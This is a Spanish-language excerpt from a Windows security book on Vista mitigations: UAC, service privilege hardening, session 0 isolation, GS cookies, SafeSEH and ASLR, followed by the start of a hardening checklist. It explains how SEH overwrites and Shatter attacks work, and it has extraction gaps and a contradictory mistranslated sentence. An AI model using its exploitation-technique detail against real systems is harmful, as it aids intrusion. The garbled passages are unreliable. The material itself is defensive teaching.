nivel de integridad del directorio TempBaja en el ejemplo? Somos propietarios de la carpeta, Vis-
ta nos permite modificar el nivel de integridad de cualquier objeto que sea nuestro, siempre y
cuando no tratemos de establecer un nivel de integridad más elevado que nuestro propio nivel.
Si un usuario o una aplicación pudiera establecer un nivel de integridad superior a su propio
nivel, todo el sistema de integridad colapsaría.
Fichas y procesos
Como se analizó en el capítulo 2, cuando se crea un proceso de Windows, su ficha de acceso se
llena con el identificador de seguridad (SID, Security IDentifier) del usuario que invoca, el SID
de los grupos a los que pertenece el usuario, el SID de la sesión de inicio y una lista de los privi-
legios que posee el usuario en todo el sistema. Cuando un proceso trata de interactuar con otro
objeto asegurable, como un archivo, el contenido de la ficha de acceso del proceso se usa junto
con el descriptor de seguridad del objeto para determinar la manera en que el proceso puede
interactuar con el objeto: por ejemplo, leyéndolo o modificándolo. Debido a cosas como el esce-
nario de la zona horario o la impresora, los usuarios a menudo están navegando Web y leyendo
correos electrónicos bajo el contexto del Administrador local. Como tal, explotar una vulnerabi-
lidad en un cliente de correo y un explorador Web proporciona a los atacantes remotos el control
completo del sistema operativo (una situación menos que deseable, dependiendo de quién sea
usted). ¿Qué pasaría si simplemente elimina los privilegios relacionados con los administrado-
res y otros grupos poderosos de esos procesos? ¿No mejoraríamos?
• SeCreateTokenPrivilege
• SeTcbPrivilege
• SeTakeOwnershipPrivilege
• SeBackupPrivilege
• SeRestorePrivilege
• SeDebugPrivilege
• SeImpersonatePrivilege
• SeRelabelPrivilege
• Administradores integrados
• Usuarios avanzados
• Operadores de cuenta
• Operadores de servidor
• Operadores de impresora
• Operadores de copia de seguridad
• Grupo de servidores RAS
• Grupo de compatibilidad de aplicaciones con Windows NT 4.0
• Operadores de configuración de red
• Administradores de dominio
• Controladores de dominio
• Editores de certificados
• Administradores de esquema
• Administrativos empresariales
• Administradores de directiva de grupo
INFORMACIÓN DE USUARIO
----------------------
Nombre de usuario SID
===================== =====================================
Forilldoh\mikej S-1-5-21-1726311756-936665386-659771985-1000
INFORMACIÓN DE GRUPO
--------------------
Nombre de grupo Tipo SID Atributos
====================== ====== ====== ====================================
...
BUILTIN\Administradores Alias S-1-5-32-544 Grupo usado sólo para denegar
...
También vale la pena observar que el Control de cuentas de usuario no afecta los inicios de se-
sión de servicio, red o procesamiento por lotes. Una vez que el usuario ha iniciado sesión con la
ficha restringida, los posteriores intentos de realizar acciones posiblemente sensibles, como instalar
software o interactuar con partes del Panel de control, causarán que aparezca un cuadro de diálo-
go, solicitando confirmación que debe dar para emprender esta acción. Aquí es donde se encuentra
el mayor desafío para el Control de cuentas de usuario: convencer a los usuarios de que lo dejen
habilitado. Si se deja así, el Control de cuentas de usuario elimina un agujero muy grande en casi
todos los modelos de seguridad de organizaciones y usuarios: ejecutar como Administradores.
En la siguiente sección, analizaremos la manera en que el sistema operativo de Windows ha
adoptado algunos de estos conceptos para fortalecer la seguridad relacionada con los servicios.
Al asignar a cada servicio un SID único, recursos de servicio, como un archivo o una clave
de Registro, pueden incluirse en la ACL para permitir que sólo ese servicio los modifique. Esto
nos acerca un poco más a la ejecución de los servicios con menores privilegios, mientras se pro-
tegen sus datos de configuración.
Para determinar el SID asignado a un servicio determinado, podemos depender de una nue-
va funcionalidad que se ha agregado a sc.exe: showsid. Podemos llevar esto un paso adelante e
identificar el nombre del directivo relacionado con el SID del servicio al ejecutar psgetsid.exe. Con
los siguientes listados se demuestra cómo obtener el SID y el nombre principal del servicio
WLAN:
Nota PSGetSid está disponible para descarga en Microsoft TechNet. Vaya a http://www.microsoft.com/
technet/sysinternals/utilities/psgetsid.mspx
Por sí solo, esto no evita que un servicio comprometido que se está ejecutando como Local-
Service modifique los recursos de otros servicios que se ejecutan como el mismo principal. Para
lograr esto, se usan SID con restricción de escritura: el servicio SID, junto con el SID de restric-
ción de escritura (S-1-5-33), se agrega a la lista de SID restringidos del proceso de servicio.
C:\tools>
Al crear SID específicos del servicio y acoplarlos con listas de SID restringidos, se reduce en
gran medida la probabilidad de que un servicio ataque con éxito a otro servicio que se ejecuta
como el mismo directivo. En la siguiente sección, analizaremos la manera en que el esfuerzo de
endurecimiento de servicios de Windows ha reducido esto aún más.
Privilegios a la carta
Antes, durante el análisis del Control de cuentas de usuario, observamos que los inicios de se-
sión de servicio ya no estaban sujetos al filtrado de fichas. Por tanto, si un servicio está configu-
rado para ejecutarse como SYSTEM, su ficha de acceso retendrá privilegios poderosos que le
permiten interactuar libremente con otros objetos que es posible asegurar. ¿O no?
Para cerrar esta brecha y lograr el mismo efecto del Control de cuentas de usuario (el princi-
pio del proceso con la menor cantidad de privilegios) se ha modificado un poco el Administra-
dor de control de servicios (SCM, Service Control Manager). Así como el proceso de inicio de
sesión descansa en la LSA para filtrar fichas a nombre del Control de cuentas de usuario, el SCM
juega un papel similar para los servicios. Éstos ahora son capaces de proporcionar al SCM y, por
último a la LSA, una lista de los privilegios específicos que requiere. Sin embargo, los servicios
no pueden solicitar permisos que no posee originalmente el directivo bajo el que están configu-
rados para iniciar. Después del inicio del servicio, el SCM utiliza la LSA para eliminar todos los
privilegios del proceso del servicio que no se solicitan explícitamente. Por ejemplo, como opción
predeterminada, el servicio de red del Reproductor multimedia de Windows (WMPNetwork
Svc) está configurado para solicitar los siguientes privilegios:
• SeChangeNotifyPrivilege
• SeCreateGlobalPrivilege
Nota Esta información puede obtenerse empleando sc.exe, lo que analizaremos en páginas posteriores
de esta sección, o directamente desde el Registro en HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Services\WMPNetworkSvc:RequiredPrivileges.
Empleando el Process Explorer, podemos verificar que sólo esos privilegios están otorgados
al proceso WMPNetworkSvc (figura 12-4).
En el caso de los servicios que comparten un proceso, como svchost, la ficha del proceso con-
tendrá un agregado de todos los privilegios requeridos por cada servicio individual del grupo.
Desde el punto de vista de un atacante, la localización de una vulnerabilidad en uno de esos ser-
vicios puede arrojar un espacio de procesos mucho más jugoso desde el cual crear el caos. En las
figuras 12-5 y 12-6 se demuestra la existencia de 19 servicios hospedados en un solo proceso y el
conjunto resultante de privilegios poseídos por este proceso.
Probablemente por razones de compatibilidad hacia atrás, si un servicio no solicita privile-
gios de manera explícita, el SCM dejará intactos todos los privilegios otorgados al directivo bajo
el cual el servicio está configurado para ejecutarse. Desde la perspectiva de un atacante, la enu-
meración de todos los servicios que no registran los privilegios requeridos también puede ser un
ejercicio fructífero cuando se selecciona un objetivo.
Como opción predeterminada, muchos privilegios no están habilitados, pero es posible habilitarlos.
Nota
Interacción con los privilegios de servicio Como en versiones anteriores de Windows, los servicios
pueden configurarse mediante la interfaz de línea de comandos del SCM, sc.exe. Se han agrega-
do dos nuevas opciones a esta utilería, qprivs y privs, que permiten la consulta y el estableci-
miento de privilegios de servicio, respectivamente. Si está buscando auditar o bloquear los ser-
vicios que se ejecutan en su máquina de Vista o Server 2008, estos comandos son invaluables. En
las figuras 12-7 y 12-8 se demuestra su uso.
Debe ejecutar cmd.exe con privilegios de Administrador (por ejemplo, mediante runas) para modificar
Nota estos privilegios.
sugerencia
Si empieza estableciendo privilegios de servicio con sc.exe, asegúrese de especificar todos los
privilegios a la vez. Sc.exe no supone que quiere agregar el privilegio a la lista existente.
• LocalServiceNoNetwork
• LocalServiceRestricted
• LocalServiceNetworkRestricted
• NetworkServiceRestricted
• NetworkServiceNetworkRestricted
• LocalSystemNetworkRestricted
Tabla 12-1 Servicios de Vista que ahora se ejecutan bajo cuentas menos privilegiadas
Cada uno de estos servicios opera con fichas con restricción de escritura, como se describió al
principio de este capítulo, excepto los que tienen un sufijo NetworkRestricted. Grupos con este
sufijo limitan el acceso a la red por parte del servicio a un conjunto fijo de puertos, lo que cubri-
remos ahora con un poco más de detalle.
La interacción con éstas y otras características de la firewall son sólo unas cuantas de las ma-
neras en que los servicios pueden asegurarse de manera adicional.
Aislamiento de la sesión 0
En 2002, el investigador Chris Paget introdujo un nuevo vector de ataque en Windows, denomi-
nado “ataque de Shatter”. Uno de los pilares clave de este ataque incluía servicios con privile-
gios elevados interactuando con las sesiones de inicio de sesión de usuarios menos privilegia-
dos. Como recordatorio, lo más importante de un ataque de Shatter es enviar a un servicio pri-
vilegiado un mensaje de ventana que cause que se ejecute código de shell proporcionado por el
atacante, elevando los privilegios de éste a los del servicio (consulte “Referencias y lecturas adi-
cionales” para conocer detalles de los ataques de Shatter).
¿Qué tiene de especial la sesión 0? Los servicios anteriores a Vista, junto con el primer usuario
en iniciar sesión, participan dentro de la sesión 0 y cada usuario subsecuente participa en las se-
siones 1, 2, 3, etc. Como ya se afirmó, ataques como Shatter dependen de la capacidad de enviar
mensajes de ventana a servicios con privilegios muy elevados. Una de las razones por las que los
atacantes eran capaces de enviar mensajes de ventana a los servicios era porque compartían una
sesión, la 0. Al separar las sesiones de usuario y de servicio, se mitigan los ataques parecidos al
Shatter. Ésta es la esencia del aislamiento de la sesión 0: en Vista, los servicios y los procesos del
sistema permanecen en la sesión 0, mientras que las sesiones de usuario empiezan en la sesión 1.
Esto se observa dentro del Administrador de tareas, como se muestra en la figura 12-9.
En la figura 12-9, se observa que casi todos los servicios y procesos del sistema existen en la
sesión 0, mientras que los procesos de usuario permanecen en la sesión 1. Vale la pena observar
que no todos los procesos del sistema se ejecutan en la sesión 0. Por ejemplo, winlogon.exe y una
instancia de csrsss.exe existen en las sesiones de usuario bajo el contexto de SYSTEM. Aún así, el
aislamiento de sesión, cuando se une al aislamiento de privilegios de interfaz de usuario, repre-
senta una mitigación efectiva para un vector una vez común para los atacantes. En la siguiente
sección, analizaremos características de seguridad adicionales que funcionan automágicamente
búfer. Si un enemigo es capaz de influir en los nombres que ingresa este archivo, podría tener la ca-
pacidad de modificar la ejecución del programa al reemplazar quirúrgicamente valores en partes de
la memoria que son adyacentes al búfer empleado para almacenar el nombre adquirido.
Cuando una aplicación necesita almacenar información en la memoria, como nombres, tiene
un par de opciones para colocarlos: el montón o la pila. Un sobreflujo de búfer ocurre en cualquie-
ra de estas ubicaciones, pero por ahora nos concentraremos en el de la pila. Ésta, que se usa para
controlar la ejecución, abarca una serie de marcos de pila. Un marco de pila se coloca en la pila
cada vez que se llama a una función y se elimina cada vez que se regresa una función. Un marco
de pila, como lo crea el compilador original Visual Studio 2003 en la plataforma x86, usa el diseño
mostrado en la figura 12-10, empezando primero con la ubicación de memoria más elevada.
Cuando ocurre un sobreflujo de pila, empieza a ascender por ésta, haciendo a un lado otras
variables locales, estructuras de manejadores de excepciones, el puntero al marco, direcciones de
devolución y argumentos pasados a la propia función. Los atacantes aprovechan este comporta-
miento al sobreescribir estos componentes de marcos con valores útiles. En las secciones siguien-
tes, analizaremos las características de seguridad proporcionadas por los compiladores VS2003
y VS2005 que ayudan a reducir la probabilidad de que un atacante explote con éxito las condi-
ciones de sobreflujo:
• Cookies de GS
• SafeSEH
• Cambios en el diseño de la pila
• Aleatorización del diseño del espacio de direcciones (ASLR, Address Space Layout
Randomization)
Cookies de GS
GS es una tecnología en tiempo de compilación que se orienta a evitar la explotación del sobreflujo
de búfer de pila en la plataforma Windows. GS logra esto al colocar un valor aleatorio, o una cookie,
en la pila entre las variables locales y la dirección de respuesta, como se muestra en la figura 12-11.
Parámetros
Dirección
de respuesta
Puntero al marco
Marco de manejador
de excepciones
Variables locales
Registros
del llamado
Figura 12-10 Marco de pila estándar generado por Visual Studio 2003
Parámetros
Dirección
de respuesta
Puntero al marco
Cookie
Variables locales
Registros
del llamado
Este concepto no es único para el mundo de Windows. En realidad, las distribuciones de Li-
nux han tenido soluciones similares desde hace tiempo en la forma de StackGuard y ProPolice.
Si un sobreflujo de búfer de pila basta para que un atacante controle la dirección de respuesta o
el puntero al marco, la cookie también se habrá sobrescrito. Por tanto, antes de que la función
regrese, puede verificarse este valor de cookie para asegurar que no ha ocurrido un sobreflujo.
Si el valor de la cookie no coincide con el original, se presenta un cuadro de diálogo de error al
usuario y se termina el proceso.
Bajo la capucha de GS
Cuando se inicia una aplicación nativa, la primera función que suele ejecutarse es uno de los pun-
tos de entrada del motor en tiempo de ejecución de C (CRT, C RunTime), como mainCRTStartup.
La primera acción tomada por estas funciones es llamar a __security_init_cookie, que es
responsable de inicializar la cookie que con el tiempo terminará en cada marco de pila de la fun-
ción calificada. Digo “calificada” porque varios escenarios producen un marco de pila sin cookie.
0:000> uf __security_init_cookie
97 00403fac 55 push ebp
97 00403fad 8bec mov ebp,esp
97 00403faf 83ec10 sub esp,10h
117 00403fb2 a110104200 mov eax,dword ptr [overflow!__securi-
ty_cookie
…
170 00403fe0 50 push eax
170 00403fe1 ff1598524200 call dword ptr
[overflow!_imp__GetSystemTimeAsFileTime (00425298)]
175 00403fe7 8b75fc mov esi,dword ptr [ebp-4]
175 00403fea 3375f8 xor esi,dword ptr [ebp-8]
178 00403fed ff1594524200 call dword ptr
[overflow!_imp__GetCurrentProcessId (00425294)]
178 00403ff3 33f0 xor esi,eax
179 00403ff5 ff1574524200 call dword ptr
[overflow!_imp__GetCurrentThreadId (00425274)]
179 00403ffb 33f0 xor esi,eax
180 00403ffd ff1590524200 call dword ptr [overflow!_imp__GetTic-
kCount]
180 00404003 33f0 xor esi,eax
182 00404005 8d45f0 lea eax,[ebp-10h]
182 00404008 50 push eax
182 00404009 ff158c524200 call dword ptr
[overflow!_imp__QueryPerformanceCounter (0042528c)]
182 0040400f 8b45f4 mov eax,dword ptr [ebp-0Ch]
182 00404012 3345f0 xor eax,dword ptr [ebp-10h]
187 00404015 33f0 xor esi,eax
Nota Aunque no trataba el tema de los valores no determinísticos de cookies, Matt Miller escribió
recientemente un artículo en uninformed.org que refleja su investigación inicial sobre el determinismo
de las cookies de GS. Su investigación ha mostrado que debido a la accesibilidad de los orígenes de
la entropía utilizada para generar la cookie de GS, los atacantes locales pueden aumentar su
probabilidad de calcular el valor de la cookie de un proceso. Sin embargo, al momento de escribir
esto, la investigación de Miller no representa una amenaza inmediata a la eficacia de las cookies de
GS, pero es un punto de partida.
Una vez que se ha inicializado la cookie, la aplicación opera normalmente hasta que se ha
invocado una función calificada. En esas instancias, el compilador ha modificado la función de
prólogo para insertar la cookie dentro del marco de la pila antes de la dirección de respuesta y el
puntero al marco. Esto se observa en el siguiente listado de código:
0:000> uf foo
21 00401040 55 push ebp
21 00401041 8bec mov ebp,esp
21 00401043 83ec24 sub esp,24h
21 00401046 a110104200 mov eax,dword ptr [overflow!__securi-
ty_cookie]
21 0040104b 33c5 xor eax,ebp
21 0040104d 8945fc mov dword ptr [ebp-4],eax
En este listado, las primeras tres instrucciones representan una función típica de prólogo. Las
siguientes tres instrucciones representan modificaciones hechas por el compilador de Visual
Studio con /GS habilitada. La cuarta instrucción carga el valor previamente inicializado de
__security_cookie en el registro eax. Este valor se usa en una comparación XOR contra el
puntero al marco actual (EBP), como se ve en la quinta instrucción. Por último, este valor se co-
loca en el marco de la pila, como se ve en la instrucción final.
Antes de que se devuelva esta función, debe asegurarse de que la versión de la cookie que se
encuentra en el marco de la pila coincide con el valor almacenado en la versión previamente ini-
cializada, __security_cookie. Para lograr esto, el epílogo de la función debe modificarse con
las siguientes instrucciones:
En este listado, la primera instrucción carga la versión del marco de la pila de la cookie en el
registro ecx. Este valor se usa con XOR contra el puntero al marco, como se ve en la segunda ins-
trucción. En Vista, esto proporciona entropía adicional debido a la ASLR. Por último, se llama a
__security_check_cookie, que compara el valor contenido en ecx contra el valor original
en __security_cookie.
Entre todo esto, las cookies son muy efectivas para evitar las explotaciones de sobreflujos de
pila en plataformas Windows y diferentes de éstas. Sin embargo, existen complejidades dentro
de Windows que evitan que GS por sí solo ponga un final a la explotación existente en los sobre-
flujos de búfer de pila. En la siguiente sección analizamos opciones adicionales en tiempo de
compilación que complementan a GS.
SafeSEH
Como GS, SafeSEH (también conocido como Software Data Execution Prevention, prevención
de la ejecución de datos de software, o DEP) es una tecnología de seguridad en tiempo de com-
pilación. En este caso, en lugar de proteger el puntero al marco y la dirección de respuesta, el
propósito de SafeSEH es asegurar que no se abuse del marco del manejador de excepciones. Ya
analizamos el diseño del marco de pila en relación con la cookie de GS. En ese diagrama, la coo-
kie de GS se coloca sobre el marco del manejador de excepciones. Como se describe originalmen-
te en un artículo de Dave Litchfield, “Derrota del mecanismo de prevención de sobreflujo de pila
de Microsoft Windows Server 2003”, un atacante puede sobreescribir el manejador de excepcio-
nes con un valor controlado y obtener la ejecución de código de una manera más confiable que
si sobreescribiera directamente la dirección de respuesta. Para atender esto, SafeSEH se introdu-
jo en Windows XP SP2 y Windows Server 2003 SP1. Antes de que pasemos a SafeSEH, analice-
mos brevemente el manejador estructurado de excepciones.
0:000> dt _NT_TIB
+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : Ptr32 Void
+0x008 StackLimit : Ptr32 Void
+0x00c SubSystemTib : Ptr32 Void
+0x010 FiberData : Ptr32 Void
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32 Void
+0x018 Self : Ptr32 _NT_TIB
Cuando ocurre una excepción, el sistema operativo recorre esta misma lista hasta que alcan-
za el final o una de las llamadas de respuesta decide manejar la excepción. Un manejador hace
que el sistema operativo esté consciente de su decisión al regresar uno de un puñado de valores,
incluidos ExceptionContinueExecution o ExceptionContinueSearch. La primera ins-
truye al sistema operativo para que vuelva a probar la instrucción que causó la excepción, mien-
tras el manejador presumiblemente (o no) toma alguna acción, y la última instruye al sistema
operativo para que siga recorriendo la lista en busca de voluntarios.
Así que esto es lo que tenemos hasta ahora: un mecanismo basado en pila que permite que
cada subproceso defina un bloque de código que adquirirá el control de la ejecución cuando se
presente una determinada condición. Un artefacto importante de este mecanismo es la presencia
de jugosos punteros a funciones en la pila. Echemos un vistazo a la manera en que se ha abusado
de estos punteros a funciones para comprometer sistemas cercanos al suyo.
Cuando se explota una sobreescritura de SEH, un atacante golpea el atributo Handler del
EXCEPTION_REGISTRATION_RECORD con la dirección de una secuencia de instrucciones si-
milar a pop, pop, ret. Cuando ocurre una excepción, esto causa que Windows pase la eje-
cución a esa dirección, que luego regresa a la ubicación de la pila del atributo Next de
EXCEPTION_REGISTRATION_RECORD. Este atributo también es controlado por el atacante,
pero si recordamos el diseño de la pila vista en páginas anteriores, Next está debajo del atribu-
to Handler. Esto limita al atacante a 4 bytes antes de llegar a la dirección de Handler que pro-
porcionó antes para obtener la ejecución original del código. Sin embargo, al sobreescribir el
atributo Next con instrucciones que saltan al atributo Handler, el atacante suele tener sufi-
ciente espacio para el código de shell (y esto es exactamente lo que sucede). En la figura 12-12
se ilustra el aspecto que tiene esto.
Aquí vemos que la ejecución empieza en el atributo Handler, que apunta a un área de me-
moria que contiene una sección pop, pop, ret. Esto aterriza en el atributo Next, donde un
par de NOP (0x90) y un corto salto de 6 bytes nos esperan. EB es el código operativo de Intel
para un salto corto. Estos valores se leen de derecha a izquierda para cumplir con la secuencia
endian.
Ahora que comprende cómo se han explotado estas condiciones, echemos un vistazo a al-
gunos de los mecanismos proporcionados por SafeSEH que ayudan a evitar este tipo de explo-
tación.
SafeSEH en acción
En un esfuerzo por evitar que los atacantes abusen de los manejadores de excepciones, casi to-
dos los ejecutables incluidos con Windows XP SP2, 2K3 SP1, Vista y Server 2008 contienen una
tabla de manejadores de excepciones seguros. Cuando ocurre una excepción, Windows valida
que, entre otras cosas, el manejador articulado en el registro exista en la lista de manejadores de
excepciones seguros. Si no, la aplicación se termina. Podemos determinar que un ejecutable
A partir de esto, podemos ver que calc.exe tiene cinco manejadores de excepciones segu-
ros. Cuando ocurre una excepción de usuario, Windows invoca a la función KiUserExcep-
tionDispatcher dentro de ntdll.dll. Si trazamos esta llamada aún más, veremos que el
manejador de excepciones se pasa a RtlIsValidHandler. Esta función descansa en
RtlLookupFunctionTable y RtlCaptureImageExceptionValues para extraer la lista
segura de la imagen. RtlIsValidHandler devuelve verdadero o falso, dependiendo de un
par de condiciones. El análisis que hizo Ben Nagy de SafeSEH dio como resultado el siguiente
seudocódigo que describe estas condiciones con todo detalle:
return TRUE;
}
}
if (&handler is on a page mapped MEM_IMAGE) {
//solo es verdadero normalmente para módulos ejecutables
if (SEHTable == NULL && SEHCount == 0) {
return TRUE;
//quizás uno antiguo o DLL de terceros
//sin registros SEH
}
return FALSE // debemos de atrapar esto antes
//así algo está mal.
}
//El manejador está en una página eXecutable, pero no en espacio de módulo
//Reconózcalo para compatibles.
return TRUE;
¿Entonces qué evita que un atacante sobreescriba el atributo Next con la dirección del marco
de validación, siempre y cuando la sepa? Nada, en realidad. Sin embargo, si recordamos lo que
se dijo antes, en esta misma sección, después de que la ejecución regresa de la secuencia pop,
pop, ret, aterriza en la ubicación del atributo Next. Si un atacante trata de engañar a la solu-
ción de Miller al sobreescribir el atributo Next con la dirección del marco de validación, el pro-
ceso dejará de funcionar porque lo más probable es que la dirección represente instrucciones no
válidas para el procesador. Si, por suerte, la dirección se convierte en instrucciones válidas, la
posibilidad de que cause que la ejecución salte a una ubicación controlada por el atacante (antes
de ejecutarse en el Handler) es diminuta. Esta solución, o cualquier otra, para el caso, hace im-
posible la ejecución de código. Sin embargo, si lo hace, reduce en gran medida la eficacia de los
métodos de explotación de SEH.
Cambios en la pila
Debe ser muy evidente que el diseño de la pila juega un papel muy importante en la capacidad
de explotar diversas condiciones. Con esto presente, Microsoft hizo unas cuantas modificacio-
nes al diseño de la pila para reducir la probabilidad de que gente malvada haga cosas malas a su
CPU. Con este fin, el compilador incluido con Visual Studio 2005 tiene la capacidad de detectar
argumentos de funciones que pudieran ser sensibles y colocar copias de ellos antes búferes loca-
les (dejándolos a un lado en el caso de que un búfer se sobrecargue). En las figuras 12-13 y 12-14
se ilustra este cambio.
Parámetros
Parámetros
Dirección
Dirección
de respuesta
de respuesta
Puntero al marco
Puntero al marco
Cookie
Cookie
Variables locales
Parámetros
copiados
Registros
del llamado Registros
del llamado
Luego, el código dentro de la función hará referencia a la versión copiada. Esto reduce la ca-
pacidad de un atacante de crear un sobreflujo de un búfer local y de obtener control de los argu-
mentos de la función que se usan antes del regreso de la función. Además, de acuerdo con
Brandon Bray, esto también protegerá contra un escenario que podría permitir que un atacante
abuse de los parámetros al pasar las comprobaciones de GS al sobreescribir el valor de la cookie
de seguridad con un valor conocido. Como verá, se trata de un pequeño pero efectivo cambio
que está dificultando las cosas a los atacantes.
Inclusión en ASLR
Como las salvaguardas ya analizadas en esta sección, ASLR también se habilita por imagen me-
diante un parámetro de tiempo integrado. En este caso se trata una opción vinculadora, /DYNA-
MICBASE. En realidad, a menos que haya integrado su aplicación con el vinculador incluido con
Visual Studio 2005 SP1 o el kit de controladores de Windows, ésta no tiene incluido ASLR. En
realidad, todo lo que hace esta opción del vinculador es activar o desactivar una marca en el atri-
buto DLLCharacteristics de la estructura IMAGE_OPTIONAL_HEADER de la aplicación.
Esto se observa al ejecutar los siguientes comandos:
Y aquí lo tenemos.
Debe hacer a un lado un par de cosas. En primer lugar, ASLR es un mecanismo de seguridad
opt-in, lo que significa que, a menos que los comercializadores de su software vinculen sus apli-
caciones de manera apropiada, tal vez no sea tan efectivo como ASLR para ese proceso. En se-
gundo lugar, podemos determinar fácilmente cuáles aplicaciones y DLL tienen opt-in con ASLR
con sólo inspeccionar el atributo DLLCharacteristics. Una rápida revisión del directorio
C:\Windows\System32 en un sistema Vista Ultimate usado poco mostró que 1676 de 1767 ar-
chivos exe y dll estaban incluidos en ASLR.
RESUMEN
Los temas cubiertos en este capítulo describen las contramedidas esenciales ante los muchos ata-
ques analizados en este libro. Por fortuna, esta breve cobertura ha ayudado a darle una vista ge-
neral de la manera en que estas medidas pueden utilizarse con mayor eficacia para defenderse
de hackers maliciosos de todos los niveles de complejidad.
Referencia Ubicación
Understanding and http://msdn2.microsoft.com/en-us/library/Bb250462.aspx
Working in Protected Mode
Internet Explorer
BitLocker Drive http://technet.microsoft.com/en-us/windowsvista/
Encryption: Technical aa906017.aspx
Overview
BitLocker Drive Encryption http://download.microsoft.com/download/5/b/9/
Hardware Enhanced Data 5b97017b-e28a-4bae-ba48-174cf47d23cd/CPA064_WH06.ppt
Protection
Windows BitLocker Drive http://technet2.microsoft.com/WindowsVista/en/library/
Encryption Step-by-Step c61f2a12-8ae6-4957-b031-97b4d762cf311033.mspx?mfr=true
Guide
Identity and Access Control http://technet2.microsoft.com/WindowsVista/en/library/
ba1a3800-ce29-4f09-89ef-65bce923cdb51033.mspx?mfr=true
Secure Startup–Full http://download.microsoft.com/download/5/D/6/
Volume Encryption: 5D6EAF2B-7DDF-476B-93DC-7CF0072878E6/secure-start_
Technical Overview tech.doc
Trusted Platform Module http://www.microsoft.com/resources/ngscb/WinHEC05.
Services in Windows mspx
Longhorn
Blog de Mark Russinovich http://blogs.technet.com/markrussinovich/
archive/2007/02/12/638372.aspx
Enseñe a sus aplicaciones http://msdn.microsoft.com/msdnmag/issues/07/01/
a ejecutarse sin problemas UAC/default.aspx#S2
con el control de cuentas de
usuario de Windows Vista
SYSTEM_MANDATORY_ http://msdn2.microsoft.com/en-us/library/aa965848.aspx
LABEL_ACE Structure
Services in Windows Vista www.microsoft.com/whdc/system/vista/Vista_Services.
mspx
Impact of Session 0 http://download.microsoft.com/download/9/c/5/
Isolation on Services and 9c5b2167-8017-4bae-9fde-d599bac8184a/Session0_Vista.doc
Drivers in Windows Vista
Compiler Security Checks http://msdn2.microsoft.com/en-us/library/
In Depth aa290051(VS.71).aspx#vctchcompilersecuritychecksindepth
/GS (Buffer Security http://msdn2.microsoft.com/en-us/library/
Check) 8dbf701c(VS.80).aspx
IMAGE_OPTIONAL_ http://msdn2.microsoft.com/en-us/library/ms680339.aspx
HEADER Structure
Referencia Ubicación
Analysis of GS protections www.symantec.com/avcenter/reference/GS_Protections_
in Microsoft Windows Vista in_Vista.pdf
“Defeating the Stack Based www.ngssoftware.com/papers/defeating-w2k3-stack-
Buffer Overflow Prevention protection.pdf
Mechanism of Microsoft
Windows 2003 Server” por
David Litchfield
Applying the Principle of www.microsoft.com/technet/community/columns/
Least Privilege to Windows secmgmt/sm1006.mspx
Vista
The Trusted Platform www.trustedcomputinggroup.org/faq/TPMFAQ/
Module (TPM) FAQ
Hardening Stack-based http://blogs.msdn.com/Michael_howard/
Buffer Overrun Detection archive/2007/04/03/hardening-stack-based-buffer-
in VC++ 2005 SP1 (blog de overrun-detection-in-vc-2005-sp1.aspx
Michael Howard)
Shattering by Example www.security-assessment.com/files/whitepapers/
Shattering_By_Example-V1_03102003.pdf
“Security Engineering in www.blackhat.com/presentations/bh-usa-06/BH-US-06-
Windows Vista”, por John Lambert.pdf
Lambert
Intel Architecture software http://download.intel.com/design/PentiumII/
Developer’s Manual manuals/24319102.PDF
Volumen 2
Enseñe a sus aplicaciones http://msdn.microsoft.com/es-mx/magazine/cc163486.
a ejecutarse sin problemas aspx
con el control de cuentas de
usuario de Windows Vista
SEH (Structured Exception www.eeye.com/html/resources/newsletters/vice/
Handling) Security VI20060830.html#vexposed
Changes in XPSP2 and 2003
SP1
Preventing the Exploitation http://uninformed.org/?v=5&a=2&t=pdf
of SEHOverwrites
Buffer Overflow: History of http://en.wikipedia.org/wiki/Buffer_overflow#History_
Exploitation of_exploitation
Bypassing Windows http://uninformed.org/?v=2&a=4&t=pdf
Hardware-enforced Data
Execution Prevention
Security Improvements to http://blogs.msdn.com/branbray/
the Whidbey Compiler archive/2003/11/11/51012.aspx
APéndice A
T A D E
LIS I Ó N
I F I C A C
VE R I D A D
S E G U R
DE L A W S
W I N D O
DE
405
P
or ahora, probablemente su cabeza esté dando vueltas con el número de posibles aveni-
das de ataque contra Windows. ¿Cómo las contrarresta?
Este apéndice está diseñado para reducir su carga de trabajo y resumir las contrame-
didas de seguridad más importantes cubiertas en este libro. No es una reiteración golpe por gol-
pe de las páginas anteriores ni una exposición completa de cada configuración relevante de
seguridad para Windows 2000 y posterior. No obstante, consideramos que cubre 100% de los
aspectos importantes que necesita considerar en relación con la seguridad en la familia NT, con
base en nuestros años combinados de experiencia. El objetivo aquí (como lo ha sido en todo el
libro) no es lograr la seguridad perfecta, sino reducir la carga sobre los administradores del sis-
tema, mientras le dificulta más las cosas a los posibles atacantes.
CONSIDERACIONES DE PREINSTALACIÓN
La seguridad en Windows empieza aun antes de que se instale el sistema operativo. He aquí lo
que necesita tomar en consideración antes de quitar la envoltura del CD-ROM:
• Implemente las características en los dispositivos que rodean la red diseñados para
inhibir el impacto de los ataques de negación del servicio (consulte Hacking Exposed
5th Edition para conocer más información sobre la negación del servicio).
• Instale Windows limpiamente: la actualización de versiones anteriores puede
introducir permisos débiles en archivos y claves del Registro, de modo que no lo
recomendamos. En el caso de instalaciones automatizadas, ponga estricta atención en
la integridad de los archivos fuente usados en red.
• Asegúrese de que el sistema esté asegurado físicamente (consulte el capítulo 11
para conocer más detalles). No olvide tomar en consideración la proximidad a
comunicaciones inalámbricas como 802.11x y Bluetooth.
• Establezca una contraseña de BIO, si es posible, incluyendo una específica para
cualquier unidad de disco duro en el sistema, si su comercializador de hardware del
sistema implementa ATA-3 y posterior.
• Establezca la secuencia de arranque de BIOS sólo en el disco duro; no permita el
arranque desde discos flexibles o CD-ROM.
• Considere la desinstalación física de unidades de medios extraíbles como discos
flexibles o unidades de CD-ROM que podrían usarse para arrancar el sistema en un
sistema operativo alterno.
• Cree por lo menos dos particiones NTFS: una para el sistema (C:) y otra para los datos
(en esta lista de verificación haremos referencia a ésta como partición E:). Esto es
especialmente importante con Vista y Cifrado de unidad BitLocker (el establecimiento
de las particiones de manera correcta desde la primera vez ahorra toneladas de
esfuerzos).
• No instale protocolos de red innecesarios.
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\NoLmHash
Precaución
Esto no es soportado por Microsoft y puede hacer que las aplicaciones dejen de funcionar. Esta
